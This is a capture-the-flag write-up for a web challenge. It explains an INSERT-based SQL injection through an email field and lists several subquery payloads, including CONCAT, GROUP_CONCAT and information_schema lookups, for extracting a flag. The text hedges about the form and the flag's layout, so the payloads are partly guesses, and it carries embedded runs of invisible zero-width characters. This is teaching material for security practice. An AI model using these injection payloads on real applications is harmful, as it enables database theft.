level32

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: data_concatenation, insert_based_sqli, subquery_extraction

Summary

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level32/

level32 — Web Kids 2.0

Description

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level32/

Analysis

The application has a form (likely registration or data submission) that uses an INSERT statement. The email field is vulnerable to SQL injection, allowing insertion of arbitrary data via subqueries.

Key vulnerability: The email field value is directly concatenated into an INSERT statement, allowing injection of subqueries to extract data from other tables.

Solution

INSERT-based injection via email field with subquery: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Identify the vulnerable INSERT statement
2. Use a subquery in the email field to extract the flag
3. The flag may be split into parts that need concatenation

Example payload for email field:

 sql read-only • copy allowed Copy
test@test.com',(SELECT flag FROM flags))--

Or with CONCAT to combine flag parts:

 sql read-only • copy allowed Copy
test@test.com',(SELECT CONCAT(part1,part2) FROM flags))--

More complex payload if flag is in multiple columns:

 sql read-only • copy allowed Copy
x',(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flags'))--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Then extract actual flag:

 sql read-only • copy allowed Copy
x',(SELECT CONCAT(flag_part1,flag_part2,flag_part3) FROM flags))--

The injected data is then displayed back when viewing the submitted record. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍